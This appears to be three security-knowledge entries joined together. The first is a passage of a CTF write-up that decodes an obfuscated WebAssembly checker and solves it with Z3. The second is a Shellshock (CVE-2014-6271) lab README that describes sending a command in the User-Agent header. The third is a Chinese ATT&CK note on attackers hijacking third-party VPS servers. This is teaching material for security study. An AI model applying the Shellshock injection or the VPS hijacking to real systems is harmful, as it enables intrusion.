187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 74, 185, 155, 127, 184, 154, 211, 155, 211, 155, 74, 185, 209, 154, 118, 186, 155, 118, 186, 154, 127, 184, 155, 28, 185, 154, 210, 155, 210, 250, 196, 200, 154, 72, 185, 155, 72, 185, 250, 43, 186, 202, 154, 106, 186, 155, 28, 185, 154, 209, 155, 209, 250, 84, 197, 202, 154, 105, 186, 155, 106, 186, 155, 105, 186, 201, 154, 39, 184, 155, 39, 184, 250, 67, 186, 208, 154, 125, 184, 185, 196, 155, 125, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 113, 185, 155, 127, 184, 154, 208, 155, 208, 155, 113, 185, 209, 154, 29, 186, 155, 29, 186, 154, 127, 184, 155, 19, 185, 154, 215, 155, 215, 250, 196, 200, 154, 79, 185, 155, 79, 185, 250, 45, 186, 202, 154, 104, 186, 155, 19, 185, 154, 214, 155, 214, 250, 82, 197, 202, 154, 111, 186, 155, 104, 186, 155, 111, 186, 201, 154, 38, 184, 155, 38, 184, 250, 0, 186, 208, 154, 124, 184, 185, 196, 155, 124, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 112, 185, 155, 127, 184, 154, 212, 155, 212, 155, 112, 185, 209, 154, 28, 186, 155, 28, 186, 154, 127, 184, 155, 18, 185, 154, 203, 155, 203, 250, 196, 200, 154, 78, 185, 155, 78, 185, 250, 121, 187, 202, 154, 109, 186, 155, 18, 185, 154, 202, 155, 202, 250, 6, 196, 202, 154, 108, 186, 155, 109, 186, 155, 108, 186, 201, 154, 37, 184, 155, 37, 184, 250, 79, 187, 208, 154, 115, 184, 185, 196, 155, 115, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 119, 185, 155, 127, 184, 154, 201, 155, 201, 155, 119, 185, 209, 154, 19, 186, 155, 19, 186, 154, 127, 184, 155, 17, 185, 154, 200, 155, 200, 250, 196, 200, 154, 77, 185, 155, 77, 185, 250, 79, 186, 202, 154, 99, 186, 155, 17, 185, 154, 207, 155, 207, 250, 48, 197, 202, 154, 98, 186, 155, 99, 186, 155, 98, 186, 201, 154, 27, 184, 155, 27, 184, 250, 126, 186, 208, 154, 114, 184, 185, 196, 155, 114, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 118, 185, 155, 127, 184, 154, 206, 155, 206, 155, 118, 185, 209, 154, 18, 186, 155, 18, 186, 154, 127, 184, 155, 16, 185, 154, 205, 155, 205, 250, 196, 200, 154, 76, 185, 155, 76, 185, 250, 129, 202, 154, 97, 186, 155, 16, 185, 154, 204, 155, 204, 250, 254, 202, 154, 96, 186, 155, 97, 186, 155, 96, 186, 201, 154, 26, 184, 155, 26, 184, 250, 108, 187, 208, 154, 112, 184, 185, 196, 155, 112, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 117, 185, 155, 127, 184, 154, 195, 155, 195, 155, 117, 185, 209, 154, 17, 186, 155, 17, 186, 154, 127, 184, 155, 22, 185, 154, 193, 155, 193, 250, 196, 200, 154, 67, 185, 155, 67, 185, 250, 174, 202, 154, 103, 186, 155, 22, 185, 154, 192, 155, 192, 250, 209, 202, 154, 102, 186, 155, 103, 186, 155, 102, 186, 201, 154, 25, 184, 155, 25, 184, 250, 67, 187, 208, 154, 119, 184, 185, 196, 155, 119, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 107, 185, 155, 127, 184, 154, 199, 155, 199, 155, 107, 185, 209, 154, 16, 186, 155, 16, 186, 154, 127, 184, 155, 21, 185, 154, 198, 155, 198, 250, 196, 200, 154, 66, 185, 155, 66, 185, 250, 45, 186, 202, 154, 101, 186, 155, 21, 185, 154, 197, 155, 197, 250, 82, 197, 202, 154, 100, 186, 155, 101, 186, 155, 100, 186, 201, 154, 24, 184, 155, 24, 184, 250, 30, 186, 208, 154, 118, 184, 185, 196, 155, 118, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 106, 185, 155, 127, 184, 154, 196, 155, 196, 155, 106, 185, 209, 154, 23, 186, 155, 23, 186, 154, 127, 184, 155, 20, 185, 154, 59, 186, 155, 59, 186, 250, 196, 200, 154, 65, 185, 155, 65, 185, 250, 104, 186, 202, 154, 91, 186, 155, 20, 185, 154, 58, 186, 155, 58, 186, 250, 23, 197, 202, 154, 90, 186, 155, 91, 186, 155, 90, 186, 201, 154, 31, 184, 155, 31, 184, 250, 69, 186, 208, 154, 117, 184, 185, 196, 155, 117, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 105, 185, 155, 127, 184, 154, 57, 186, 155, 57, 186, 155, 105, 185, 209, 154, 21, 186, 155, 21, 186, 154, 127, 184, 155, 11, 185, 154, 56, 186, 155, 56, 186, 250, 196, 200, 154, 64, 185, 155, 64, 185, 250, 94, 186, 202, 154, 89, 186, 155, 11, 185, 154, 62, 186, 155, 62, 186, 250, 33, 197, 202, 154, 88, 186, 155, 89, 186, 155, 88, 186, 201, 154, 30, 184, 155, 30, 184, 250, 107, 186, 208, 154, 116, 184, 185, 196, 155, 116, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 104, 185, 155, 127, 184, 154, 61, 186, 155, 61, 186, 155, 104, 185, 209, 154, 20, 186, 155, 20, 186, 154, 127, 184, 155, 10, 185, 154, 60, 186, 155, 60, 186, 250, 196, 200, 154, 70, 185, 155, 70, 185, 250, 0, 186, 202, 154, 95, 186, 155, 10, 185, 154, 51, 186, 155, 51, 186, 250, 127, 197, 202, 154, 94, 186, 155, 95, 186, 155, 94, 186, 201, 154, 29, 184, 155, 29, 184, 250, 48, 186, 208, 154, 107, 184, 185, 196, 155, 107, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 111, 185, 155, 127, 184, 154, 50, 186, 155, 50, 186, 155, 111, 185, 209, 154, 11, 186, 155, 11, 186, 154, 127, 184, 155, 9, 185, 154, 49, 186, 155, 49, 186, 250, 196, 200, 154, 69, 185, 155, 69, 185, 250, 24, 186, 202, 154, 92, 186, 155, 9, 185, 154, 48, 186, 155, 48, 186, 250, 103, 197, 202, 154, 83, 186, 155, 92, 186, 155, 83, 186, 201, 154, 28, 184, 155, 28, 184, 250, 117, 186, 208, 154, 106, 184, 185, 196, 155, 106, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 110, 185, 155, 127, 184, 154, 55, 186, 155, 55, 186, 155, 110, 185, 209, 154, 10, 186, 155, 10, 186, 154, 127, 184, 155, 8, 185, 154, 54, 186, 155, 54, 186, 250, 196, 200, 154, 68, 185, 155, 68, 185, 250, 80, 187, 202, 154, 82, 186, 155, 8, 185, 154, 53, 186, 155, 53, 186, 250, 47, 196, 202, 154, 81, 186, 155, 82, 186, 155, 81, 186, 201, 154, 19, 184, 155, 19, 184, 250, 99, 187, 208, 154, 105, 184, 185, 196, 155, 105, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 109, 185, 155, 127, 184, 154, 43, 186, 155, 43, 186, 155, 109, 185, 209, 154, 9, 186, 155, 9, 186, 154, 127, 184, 155, 15, 185, 154, 42, 186, 155, 42, 186, 250, 196, 200, 154, 59, 184, 155, 59, 184, 250, 21, 186, 202, 154, 87, 186, 155, 15, 185, 154, 41, 186, 155, 41, 186, 250, 106, 197, 202, 154, 86, 186, 155, 87, 186, 155, 86, 186, 201, 154, 18, 184, 155, 18, 184, 250, 56, 186, 208, 154, 104, 184, 185, 196, 155, 104, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 108, 185, 155, 127, 184, 154, 40, 186, 155, 40, 186, 155, 108, 185, 209, 154, 8, 186, 155, 8, 186, 154, 127, 184, 155, 14, 185, 154, 47, 186, 155, 47, 186, 250, 196, 200, 154, 58, 184, 155, 58, 184, 250, 81, 187, 202, 154, 85, 186, 155, 14, 185, 154, 46, 186, 155, 46, 186, 250, 46, 196, 202, 154, 84, 186, 155, 85, 186, 155, 84, 186, 201, 154, 16, 184, 155, 16, 184, 250, 178, 208, 154, 111, 184, 185, 196, 155, 111, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 99, 185, 155, 127, 184, 154, 45, 186, 155, 45, 186, 155, 99, 185, 209, 154, 15, 186, 155, 15, 186, 154, 127, 184, 155, 13, 185, 154, 44, 186, 155, 44, 186, 250, 196, 200, 154, 57, 184, 155, 57, 184, 250, 153, 202, 154, 75, 186, 155, 13, 185, 154, 35, 186, 155, 35, 186, 250, 230, 202, 154, 74, 186, 155, 75, 186, 155, 74, 186, 201, 154, 23, 184, 155, 23, 184, 250, 169, 208, 154, 109, 184, 185, 196, 155, 109, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 98, 185, 155, 127, 184, 154, 34, 186, 155, 34, 186, 155, 98, 185, 209, 154, 14, 186, 155, 14, 186, 154, 127, 184, 155, 3, 185, 154, 32, 186, 155, 32, 186, 250, 196, 200, 154, 63, 184, 155, 63, 184, 250, 1, 186, 202, 154, 73, 186, 155, 3, 185, 154, 39, 186, 155, 39, 186, 250, 126, 197, 202, 154, 72, 186, 155, 73, 186, 155, 72, 186, 201, 154, 22, 184, 155, 22, 184, 250, 49, 186, 208, 154, 108, 184, 185, 196, 155, 108, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 96, 185, 155, 127, 184, 154, 38, 186, 155, 38, 186, 155, 96, 185, 209, 154, 13, 186, 155, 13, 186, 154, 127, 184, 155, 2, 185, 154, 37, 186, 155, 37, 186, 250, 196, 200, 154, 62, 184, 155, 62, 184, 250, 90, 186, 202, 154, 79, 186, 155, 2, 185, 154, 36, 186, 155, 36, 186, 250, 37, 197, 202, 154, 78, 186, 155, 79, 186, 155, 78, 186, 201, 154, 21, 184, 155, 21, 184, 250, 54, 186, 208, 154, 99, 184, 185, 196, 155, 99, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 103, 185, 155, 127, 184, 154, 27, 186, 155, 27, 186, 155, 103, 185, 209, 154, 12, 186, 155, 12, 186, 154, 127, 184, 155, 1, 185, 154, 26, 186, 155, 26, 186, 250, 196, 200, 154, 61, 184, 155, 61, 184, 250, 179, 202, 154, 77, 186, 155, 1, 185, 154, 25, 186, 155, 25, 186, 250, 204, 202, 154, 76, 186, 155, 77, 186, 155, 76, 186, 201, 154, 20, 184, 155, 20, 184, 250, 158, 208, 154, 98, 184, 185, 196, 155, 98, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 102, 185, 155, 127, 184, 154, 24, 186, 155, 24, 186, 155, 102, 185, 209, 154, 2, 186, 155, 2, 186, 154, 127, 184, 155, 0, 185, 154, 31, 186, 155, 31, 186, 250, 196, 200, 154, 60, 184, 155, 60, 184, 250, 183, 202, 154, 67, 186, 155, 0, 185, 154, 151, 155, 151, 250, 200, 202, 154, 66, 186, 155, 67, 186, 155, 66, 186, 201, 154, 11, 184, 155, 11, 184, 250, 130, 208, 154, 97, 184, 185, 196, 155, 97, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 101, 185, 155, 127, 184, 154, 150, 155, 150, 155, 101, 185, 209, 154, 1, 186, 155, 1, 186, 154, 127, 184, 155, 7, 185, 154, 149, 155, 149, 250, 196, 200, 154, 50, 184, 155, 50, 184, 250, 133, 202, 154, 65, 186, 155, 7, 185, 154, 148, 155, 148, 250, 250, 202, 154, 64, 186, 155, 65, 186, 155, 64, 186, 201, 154, 10, 184, 155, 10, 184, 250, 114, 187, 208, 154, 96, 184, 185, 196, 155, 96, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 100, 185, 155, 127, 184, 154, 139, 155, 139, 155, 100, 185, 209, 154, 0, 186, 155, 0, 186, 154, 127, 184, 155, 6, 185, 154, 138, 155, 138, 250, 196, 200, 154, 49, 184, 155, 49, 184, 250, 95, 186, 202, 154, 70, 186, 155, 6, 185, 154, 137, 155, 137, 250, 32, 197, 202, 154, 69, 186, 155, 70, 186, 155, 69, 186, 201, 154, 9, 184, 155, 9, 184, 250, 107, 186, 208, 154, 103, 184, 185, 196, 155, 103, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 91, 185, 155, 127, 184, 154, 136, 155, 136, 155, 91, 185, 209, 154, 7, 186, 155, 7, 186, 154, 127, 184, 155, 5, 185, 154, 143, 155, 143, 250, 196, 200, 154, 48, 184, 155, 48, 184, 250, 110, 187, 202, 154, 68, 186, 155, 5, 185, 154, 142, 155, 142, 250, 17, 196, 202, 154, 59, 185, 155, 68, 186, 155, 59, 185, 201, 154, 8, 184, 155, 8, 184, 250, 88, 187, 208, 154, 102, 184, 185, 196, 155, 102, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 90, 185, 155, 127, 184, 154, 140, 155, 140, 155, 90, 185, 209, 154, 6, 186, 155, 6, 186, 154, 127, 184, 155, 4, 185, 154, 131, 155, 131, 250, 196, 200, 154, 55, 184, 155, 55, 184, 250, 85, 187, 202, 154, 57, 185, 155, 4, 185, 154, 130, 155, 130, 250, 42, 196, 202, 154, 56, 185, 155, 57, 185, 155, 56, 185, 201, 154, 15, 184, 155, 15, 184, 250, 123, 187, 208, 154, 101, 184, 185, 196, 155, 101, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 89, 185, 155, 127, 184, 154, 129, 155, 129, 155, 89, 185, 209, 154, 5, 186, 155, 5, 186, 154, 127, 184, 155, 123, 185, 154, 128, 155, 128, 250, 196, 200, 154, 54, 184, 155, 54, 184, 250, 116, 187, 202, 154, 63, 185, 155, 123, 185, 154, 135, 155, 135, 250, 11, 196, 202, 154, 62, 185, 155, 63, 185, 155, 62, 185, 201, 154, 13, 184, 155, 13, 184, 250, 140, 208, 154, 100, 184, 185, 196, 155, 100, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 88, 185, 155, 127, 184, 154, 134, 155, 134, 155, 88, 185, 209, 154, 4, 186, 155, 4, 186, 154, 127, 184, 155, 122, 185, 154, 133, 155, 133, 250, 196, 200, 154, 53, 184, 155, 53, 184, 250, 88, 186, 202, 154, 61, 185, 155, 122, 185, 154, 132, 155, 132, 250, 39, 197, 202, 154, 60, 185, 155, 61, 185, 155, 60, 185, 201, 154, 12, 184, 155, 12, 184, 250, 33, 186, 208, 154, 90, 184, 185, 196, 155, 90, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 95, 185, 155, 127, 184, 154, 251, 155, 251, 155, 95, 185, 209, 154, 123, 186, 155, 123, 186, 154, 127, 184, 155, 120, 185, 154, 249, 155, 249, 250, 196, 200, 154, 52, 184, 155, 52, 184, 250, 181, 202, 154, 51, 185, 155, 120, 185, 154, 248, 155, 248, 250, 202, 202, 154, 50, 185, 155, 51, 185, 155, 50, 185, 201, 154, 3, 184, 155, 3, 184, 250, 79, 187, 208, 154, 89, 184, 185, 196, 155, 89, 184, 154, 75, 184, 250, 187, 155, 75, 184, 208, 155, 75, 184, 155, 75, 184, 250, 187, 243, 160, 176, 154, 93, 185, 155, 127, 184, 154, 255, 155, 255, 155, 93, 185, 209, 154, 122, 186, 155, 122, 186, 154, 127, 184, 155, 127, 184, 154, 254, 155, 84, 184, 159, 185, 155, 254, 180, 176]);debugger buff.forEach(function(b, i) {this[i] = b ^ 0xbb}, buff);debugger const { instance } = await WebAssembly.instantiate(buff, importObj);debugger;const encoder = new TextEncoder(); const answer = document.getElementById('answer').value;debugger;window['console']['log'] = instance.exports._ver; const a = encoder.encode(answer);debugger;var result = console.log(...a); if (result == 0) { result = "😸"; } else { result = "😾"; } document.querySelector('main').textContent = ` ${ result }`; })(); }); ``` What do we have here? We have an array of bytes named `buff`, which when XORed with `0xbb` gives a WebAssembly program. The program exports a function under `instance.exports._ver;`, which is used to replace the default `console.log` function. In addition, the user input we provide is encoded as ASCII and sent to this exported function. If the result of the function is `0`, the answer is accepted. Otherwise, the answer is rejected. Let's run the function with some random input to see what it returns: ``` console.log("test") 2031 ``` That's obviously not zero. In order to provide the correct input we'll need to analyze the program. We first have to decode it though. ```python >>> arr = [187, 218, 200, 214, 186, ..., 155, 254, 180, 176] >>> with open("program.wasm", "wb") as f: ... f.write(bytes([x ^ 0xbb for x in arr])) ... 4807 ``` Let's take a look at the output: ```console root@kali:/media/sf_CTFs/arkcon/teaser# xxd -g 1 program.wasm | head 00000000: 00 61 73 6d 01 00 00 00 01 32 02 60 01 7f 00 60 .asm.....2.`...` 00000010: 29 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f )............... 00000020: 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f ................ 00000030: 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 01 7f 02 63 05 03 .............c.. 00000040: 65 6e 76 12 61 62 6f 72 74 53 74 61 63 6b 4f 76 env.abortStackOv 00000050: 65 72 66 6c 6f 77 00 00 03 65 6e 76 0d 5f 5f 6d erflow...env.__m 00000060: 65 6d 6f 72 79 5f 62 61 73 65 03 7f 00 03 65 6e emory_base....en 00000070: 76 0c 5f 5f 74 61 62 6c 65 5f 62 61 73 65 03 7f v.__table_base.. 00000080: 00 03 65 6e 76 06 6d 65 6d 6f 72 79 02 01 80 02 ..env.memory.... 00000090: 80 02 03 65 6e 76 05 74 61 62 6c 65 01 70 01 00 ...env.table.p.. ``` This certainly looks like WebAssembly. There are tools such as [wasm2wat](https://github.com/WebAssembly/wabt) to turn this into WebAssembly text format: ```console root@kali:/media/sf_CTFs/arkcon/teaser# ~/utils/wabt/build/wasm2wat program.wasm | head (module (type (;0;) (func (param i32))) (type (;1;) (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i32))) (import "env" "abortStackOverflow" (func (;0;) (type 0))) (import "env" "__memory_base" (global (;0;) i32)) (import "env" "__table_base" (global (;1;) i32)) (import "env" "memory" (memory (;0;) 256 256)) (import "env" "table" (table (;0;) 0 0 funcref)) (func (;1;) (type 1) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i32) (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) ``` However it's much more convenient to use a WebAssembly to C decompiler such as [wasmdec](https://github.com/wwwg/wasmdec) to get something that resembles C output: ```console root@kali:/media/sf_CTFs/arkcon/teaser# wasmdec -o program.c program.wasm ``` This gives us some cryptic definitions and utility functions at the beginning of the file, followed by some WASM globals: ```c extern int gimport$1; /* import */ extern int gimport$2; /* import */ int global$0 = 2080; int global$1 = 5244960; float global$2 = 0.000000; extern void ffimport$0(int local0); /* import */ ``` Finally, we get a function implementation. Here's the prototype: ```c int f0(int local0, int local1, int local2, int local3, int local4, int local5, int local6, int local7, int local8, int local9, int local10, int local11, int local12, int local13, int local14, int local15, int local16, int local17, int local18, int local19, int local20, int local21, int local22, int local23, int local24, int local25, int local26, int local27, int local28, int local29, int local30, int local31, int local32, int local33, int local34, int local35, int local36, int local37, int local38, int local39, int local40) ``` Then come some assignments, followed by lots of logic such as: ```c local452 = 0; local41 = local288; local370 = local41 ^ -1; local206 = local370 & 208; local42 = local288; local207 = local42 & -209; local411 = local206 | local207; local453 = local411 - 184; local329 = label$2: local496 = local453; (local496 < 0) ? (0 - local496) : (local496); ; local77 = local452; local165 = local77 + local329; local452 = local165; local88 = local289; local387 = local88 ^ -1; local266 = local387 & 146; local99 = local289; local271 = local99 & -147; local444 = local266 | local271; local487 = local444 - 230; local364 = label$3: local496 = local487; (local496 < 0) ? (0 - local496) : (local496); ; // ... local64 = local452; local192 = local64 + local356; local452 = local192; local66 = local323; local399 = local66 ^ -1; local264 = local399 & 14; local67 = local323; local265 = local67 & -15; local440 = local264 | local265; local482 = local440 - 116; local358 = label$42: local496 = local482; (local496 < 0) ? (0 - local496) : (local496); ; ``` At last, a value is returned: ```c local68 = local452; local193 = local68 + local358; local452 = local193; local69 = local452; global$0 = local495; return local69; ``` The full program can be found under `program.c`. This looks like a classic task for Z3, we just need to translate the C code into Python. It's mostly trivial, but we do have some weird snippets such as: ```c local358 = label$42: local496 = local482; (local496 < 0) ? (0 - local496) : (local496); ; ``` To translate them, we just need to realize that they are simply trying to implement the `abs()` function, so we can define: ```python def abs(x): return If(x < 0, 0 - x, x) ``` And translate the above snippet to: ```python local358 = abs(local482) ``` So, our script becomes: ```python from z3 import * def abs(x): return If(x < 0, 0 - x, x) s = Solver() KEY_LEN = 41 # Based on prototype of f0() key = [BitVec("{}".format(i), 32) for i in range(KEY_LEN)] # Indicate that key is composed of printable text only for i in range(KEY_LEN): s.add(key[i] >= ord('!')) s.add(key[i] <= ord('~')) local288 = key[0] local289 = key[1] # ... local323 = key[40] local452 = 0 local41 = local288 local370 = local41 ^ -1 local206 = local370 & 208 local42 = local288 local207 = local42 & -209 local411 = local206 | local207 local453 = local411 - 184 local329 = abs(local453) local77 = local452 local165 = local77 + local329 local452 = local165 local88 = local289 local387 = local88 ^ -1 local266 = local387 & 146 local99 = local289 local271 = local99 & -147 local444 = local266 | local271 local487 = local444 - 230 local364 = abs(local487) # ... local64 = local452 local192 = local64 + local356 local452 = local192 local66 = local323 local399 = local66 ^ -1 local264 = local399 & 14 local67 = local323 local265 = local67 & -15 local440 = local264 | local265 local482 = local440 - 116 local358 = abs(local482) local68 = local452 local193 = local68 + local358 local452 = local193 local69 = local452 # Not needed: global$0 = local495 # We want the return value to be 0 s.add(local69 == 0) if s.check() == sat: model = s.model() res = "" for i in range(KEY_LEN): res += chr(model[key[i]].as_long()) print(res) ``` The full program is attached as `solve.py`. We run it and get: ```console root@kali:/media/sf_CTFs/arkcon/teaser# python3 solve.py http://h3ck-y34h-61mm3-50m3-c00l-5w46.xyz ``` The website contains the following message: ``` Yay. Hi Cracker You are the first one to solve the challenge! Mmm.. Just joking.. Don't tell me you fell for that. Unfortunately, ArkCon 2020 is cancelled due to the global pandemic. It's important for us to see you IRL and not just behind the keyboard, so we decided to cancel this year's event and focus our efforts to make ArkCon 2021 the best ArkCon yet. We already started working closely with our review board and international partners to create an engaging, enriching and challenging 2021 event. Want to claim your trophy and get ArkCon updates before everyone? Shoot us an email to ArkCon[at]CyberArk.com with your name and your t-shirt size. Stay safe, The ArkCon Team ``` See you next year.
sec-knowleage
# Shellshock Remote Command Injection (CVE-2014-6271) [中文版本(Chinese version)](README.zh-cn.md) Build and run the vulnerable environment: ``` docker compose build docker compose up -d ``` When you visit `http://your-ip/` you should see two files: - safe.cgi - victim.cgi safe.cgi generated by the latest version of bash, and victim.cgi is the page generated by bash4.3 which is vulnerable to shellshock. We can send include our payload in the user-agent string when visiting victim.cgi and the command is executed successfully: ![](1.png) The same request sent to safe.cgi is unaffected: ![](2.png)
sec-knowleage
# T1584-003-盗取基础设施-虚拟专用服务器 ## 来自ATT&CK的描述 攻击者可能会盗取第三方的虚拟专用服务器(VPS),这些服务器可以在攻击目标期间使用。有各种云服务提供商将虚拟机或容器作为一种服务出售。攻击者可以盗取由第三方实体购买的VPS,作为基础设施的VPS,攻击者可以使其难以在物理上将行动与自己联系起来。 盗取的VPS用于攻击生命周期的后期阶段,如指挥和控制,攻击者受益于与更高声誉的云服务提供商相关的普遍性和信任,以便增加受感染的第三方的信任。 ## 测试案例 虚拟专用服务器(英语:Virtual private server,缩写为 VPS),是将一台服务器分割成多个虚拟专享服务器的服务。实现VPS的技术分为容器技术和虚拟机技术 。在容器或虚拟机中,每个VPS都可分配独立公网IP地址、独立操作系统、实现不同VPS间磁盘空间、内存、CPU资源、进程和系统配置的隔离,为用户和应用程序模拟出“独占”使用计算资源的体验。VPS可以像独立服务器一样,重装操作系统,安装程序,单独重启服务器。VPS为用户提供了管理配置的自由,可用于企业虚拟化,也可以用于IDC资源租用。 IDC资源租用,由VPS提供商提供。不同VPS提供商所使用的硬件VPS软件的差异,及销售策略的不同,VPS的使用体验也有较大差异。尤其是VPS提供商超卖,导致实体服务器超负荷时,VPS性能将受到极大影响。相对来说,容器技术比虚拟机技术硬件使用效率更高,更易于超卖,所以一般来说容器VPS的价格都高于虚拟机VPS的价格。 这些VPS主机以最大化的效率共享硬件、软件许可证以及管理资源。每个VPS主机都可分配独立公网IP地址、独立操作系统、独立超大空间、独立内存、独立CPU资源、独立执行程序和独立系统配置等。VPS主机用户可在服务器上自行安装程序,单独重启主机。(ps:不做过多介绍,懂得都懂) ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在防御团队(组织)的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,如在指挥和控制期间。 ## 参考推荐 MITRE-ATT&CK-T1584-003 <https://attack.mitre.org/techniques/T1584/003/>
sec-knowleage
